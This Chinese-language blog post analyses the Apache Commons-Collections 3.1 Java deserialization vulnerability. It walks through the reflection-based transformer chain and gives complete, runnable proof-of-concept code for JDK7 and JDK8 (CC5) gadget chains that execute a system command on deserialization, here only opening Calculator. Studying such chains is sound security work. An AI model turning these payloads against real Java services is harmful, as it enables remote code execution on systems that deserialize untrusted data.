Common-Collentions3.1反序列化之Java入坑(劝退)指南
Common-Collentions3.1 Java劝退指南
分析是按照前人的POC去逆推RCE的流程:
寻找RCE利用点(反射)->封装gadget->寻找readObjet()
寻找RCE
在org/apache/commons/collections/functors/InvokerTransformer.java
,它继承了Transformer和Serializable接口(可以被序列化),内部的transform
函数进行了反射操作
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, `iParamTypes`);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
只需在相应位置补足反射所需的数据类型即可RCE:
input:Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null) //获得Runtime实例
iMethodName:“exec”
iParamTypes:String.class
本地按照数据类型填充,能够利用InvokerTransformer.java#transform
成功反射并执行Runtime.getRuntime().exec("xxx")
,验证代码如下
package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class test {
public static void main (String[] args) throws Exception{
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
InvokerTransformer evil = new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open /System/Applications/Calculator.app/"});
evil.transform(input);
}
}
在需要补足的类型中,iMethodName
与iParamTypes
在InvokerTransformer
构造函数中被赋值,即在初始化iTransformers
时给定参数即可,现在只需要我们解决input
来源。往回追调用栈,继续分析上一层栈的代码ChainedTransformer.java#transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
在transform
这个for循环中,–i的object
会作为第i次函数调用的实参,而iTransformers[0]
是ConstantTransformer
实例,跟进ConstantTransformer
(下图)
发现ConstantTransformer#transform
把构造函数定义的iConstant
变量返回。所以只需定义iTransformers[0]=new ConstantTransformer(Runtime.class)
即可在第二次(i=1)循环中将object赋值为Runtime.class
,也就是我们想要的input
ChainedTransformer
也继承自Transformer, Serializable
,那么就可以利用ChainedTransformer
构造一个完整的反射链如下
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
}
这段代码也是“跳板思想”,借助Runtime.getRuntime().invoke(null)
先获取Runtime
实例后再去执行exec
。我们在调用ChainedTransformer()
的地方下断,分析一下它的数据走向
第二个下断在ChainedTransformer#transform
,可以看到第一次循环我们拿到的object
为java.lang.Runtime
的Class
第二、三、四次循环不再调用ConstantTransformer#transform
,而是调用InvokerTransformer#transform
,步入文章伊始提到的反射操作。值得注意的是,后三次的循环object
值均来自此方法中return的method.invoke(input, iArgs)
画这四次循环的流程图如下,第2、3步骚操作的核心就是为了获取Runtime实例
到这里RCE的利用点成功推演,现在还有两个任务
第一个任务:将transformerChain
封装成更加合理的触发,因为正常人不会直接调用ChainedTransformer.transform
,这就要求我们找到一个即调用transform
又要对象可控的地方=>Map.setValue。比如在下文会提到利用AnnotationInvocationHandler
中对Map数组元素进行遍历和赋值操作引发的Map.setValue操作
封装首先要利用TransformedMap的修饰器(引用P神在漫谈中的引述👇)
封装的EXP如下,调用outerMap.entrySet().iterator().next()
将outerMap
绑定 成为onlyElement
的parent(实现继承关系)
//已经构造好transformerChain
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
在调用onlyElement.setValue()
会向上调用outerMap.checkSetValue
,而经过装饰outerMap.valueTransformer
的值是我们构造的transformerChain
,如此便触发ConstantTransformer(#简称transformerChain).transform
的调用
这应该是种常见的Map遍历操作,之前在csdn也有类似用法的demoentrySet用法 以及遍历map的用法
第二个任务:找到一个readobject复写的类,即找一个反序列化合理的入口
JDK1.7-寻找readObject()复写利用链
分析
在JDK7有sun.reflect.annotation.AnnotationInvocationHandler
包,反序列化核心代码如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
其中如下操作与上文构造EXP手法相同,对Map中的键值对进行遍历
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext())
memberValues
可以在构造函数中赋值。但在try、catch时不能进入异常处理且var7 != null
才可进行setValue
,里面有个坑点就是在创建Map时写入的键名一定要为”value”,否则在readObject()
中,以var6为键名的“hpdoger”无法在var3中匹配到相应的键值,从而使var7=null无法执行setValue
Demo
package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
public class CC1Des {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ct.setAccessible(true);
//获取AnnotationInvocationHandler类实例
// Object instance = ct.newInstance(Target.class, outerMap);
Object instance = ct.newInstance(Retention.class, outerMap);
//模拟反序列化流程
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(instance);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
//手动触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
}
}
JDK1.8-寻找readObject()复写利用链
JDK8修补了sun.reflect.annotation.AnnotationInvocationHandler
,但仍有bypass,这里分析CC5的调用链如下
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
从下面代码可看出,LazyMap#get
调用了transform
,且factory
可以是实现了Transformer
接口的实例,正好满足transformerChain
的数据类型
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
继续找哪里能调用LazyMap.get()
,在org/apache/commons/collections/keyvalue/TiedMapEntry.java#getValue
中有调用链
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
这里只需让TiedMapEntry.map = transformerChain;
即可触发RCE。最后寻找有没有readObject的复写操作能调用TiedMapEntry.toString()
,最终实现在javax/management/BadAttributeValueExpException.java
demo
package vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
//yso-CC5 CC version:3.1-3.2.1,jdk1.8
public class CCJDK8 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建LazyMap并绑定transformerChain
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//TiedMapEntry.map = transformerChain
TiedMapEntry evilMap = new TiedMapEntry(lazyMap,"hpdoger");
//复写入口BadAttributeValueExpException,构造valObj = evilMap
BadAttributeValueExpException evilObj = new BadAttributeValueExpException(null);
Field valfield = evilObj.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(evilObj, evilMap);
//模拟反序列化流程
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(evilObj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
总结
在我看来,这个反序列化最核心的点是在于寻找transformerChain
这个反射链的构造,至于将它封装成Map后寻找readObject复写,缝缝补补总有疏漏,虽然JDK不断升级修复,但可能在其他外部依赖也有类似问题。
最后,AnnotationType.getInstance(this.type)
这一注解的操作暂时没有研究很深,因此在构造Object instance = ct.newInstance(Target.class, outerMap);
的时候我也有些疑惑,为什么第一个参数是java.lang.annotation.Target
的Class,有空补一下相关的知识放到blog。不过话说回来,这里的Target.class
替换成Retention.class
也是可以的
参考链接
P神知识星球&各种文章,踩在巨人肩膀,感谢前辈们筑路